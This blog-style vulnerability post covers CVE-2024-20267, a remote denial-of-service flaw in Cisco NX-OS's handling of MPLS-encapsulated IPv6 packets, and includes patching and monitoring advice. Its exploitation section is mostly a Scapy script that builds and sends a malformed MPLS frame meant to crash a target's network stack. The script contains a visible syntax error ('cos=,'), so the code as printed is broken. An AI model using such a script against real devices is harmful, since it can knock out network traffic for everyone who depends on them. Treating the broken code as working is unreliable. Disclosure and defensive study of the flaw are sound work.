CVE-2024-20267 - Exploiting Cisco NX-OS MPLS DoS Vulnerability

---

Introduction

CVE-2024-20267 uncovers a serious vulnerability within Cisco NX-OS devices relating to MPLS (Multiprotocol Label Switching) packet handling. If left unpatched, attackers can remotely, and with no authentication, crash the network stack (netstack process) of giant Cisco switches or routers by sending them just one malicious packet, potentially stopping all network traffic.

This post explains how the bug works, why it happens, what real exploitation looks like, and how you can defend against it. We use simple language and exclusive details to ensure everyone understands the threat.

Affected Function: Handling of IPv6 packets inside MPLS frames

Cisco’s official advisory: Cisco Security Advisory for CVE-2024-20267

How the Vulnerability Works

By design, Cisco NX-OS supports MPLS for large-scale networks. When a device receives an MPLS frame, it should carefully “unwrap” the frame and check if the inner packet is valid.

With CVE-2024-20267, there is poor error-checking in the code path that handles incoming MPLS frames. The device expects these frames to be well-formed. An attacker can send a specially crafted MPLS-encapsulated IPv6 packet with certain errors or unusual field values, and NX-OS will fail to handle it—crashing its networking stack.

1. The Attacker Crafts an IPv6 -> MPLS Packet

The attacker creates a regular IPv6 packet, then wraps it in an MPLS “envelope”. Using routing or tunneling, the attacker makes sure this packet is delivered to a target Cisco device, to any MPLS-enabled interface.

2. Device Receives the Malicious MPLS Packet

Cisco NX-OS receives the frame, starts to process it.

3. Lack of Error Checking Causes a Crash

If the packet is crafted with the right flaws (such as invalid IPv6 headers or unexpected extension headers), the device’s code cannot handle it. The netstack process restarts or the device reloads, leading to a full DoS.

4. Service Interruption

All network traffic through the affected device can halt. If the reload causes it to enter a “crash loop,” the device may never recover until manual intervention.

Exploitation Details

Let’s explore how this can play out in real life.

Example Exploit Code Snippet

*Note: This code is for educational and defensive purposes only!*

# Requires: pip install scapy
from scapy.all import *

# Replace with the IP addresses/label of the remote device and path if needed
MPLS_LABEL = 100        # Example, router's MPLS label
TARGET_IP = "X.X.X.X"    # IP of the interface
SRC_IPV6 = "2001:db8::1"
DST_IPV6 = "2001:db8::2"

# Build an invalid IPv6 packet (e.g., bad header field)
ipv6_pkt = IPv6(src=SRC_IPV6, dst=DST_IPV6)/ICMPv6EchoRequest()
bad_ipv6_bytes = bytes(ipv6_pkt)
# Here, manipulate the bytes to cause a parsing error,
# for example, set invalid next header, bad payload etc.
bad_ipv6_bytes = bad_ipv6_bytes[:6] + b'\xff'*2 + bad_ipv6_bytes[8:]

# Wrap the "bad" IPv6 packet within MPLS
mpls_pkt = MPLS(label=MPLS_LABEL, cos=, s=1, ttl=255)/Raw(load=bad_ipv6_bytes)

sendp(Ether()/mpls_pkt, iface="eth")
print("Malicious MPLS frame sent.")

This script creates an IPv6 packet, tweaks it to make it malformed, wraps it in MPLS, and sends it at Layer 2.

For real-world attacks, the packet might traverse multiple MPLS hops to reach the victim. This isn’t visible from the outside; only the target device must ultimately decapsulate and process the bad packet.

Cisco recommends immediate action

- Update NX-OS: Apply patched versions as soon as possible (Cisco Security Advisory).
- Limit MPLS exposure: Restrict which interfaces accept MPLS traffic; use ACLs to block unexpected sources.
- Monitor: Watch for abnormal netstack restarts and unexplained network reloads (see logs for netstack crashes).

No workaround fully mitigates this other than patching, since the flaw is in core packet handling.

Reference Links

- Cisco Security Advisory for CVE-2024-20267
- Cisco NX-OS Software Documentation
- CVE Details - CVE-2024-20267

Conclusion

CVE-2024-20267 is a powerful, easy-to-exploit issue that pierces the heart of Cisco’s MPLS processing. If you use Cisco NX-OS, prioritize patching and restrict external MPLS accessibility.

*Stay safe, patch early, and monitor your network for signs of exploitation.*

*This text is exclusive—please share with your network, but always with attribution!*

Timeline

Published on: 02/29/2024 01:43:58 UTC
Last modified on: 03/04/2024 22:45:43 UTC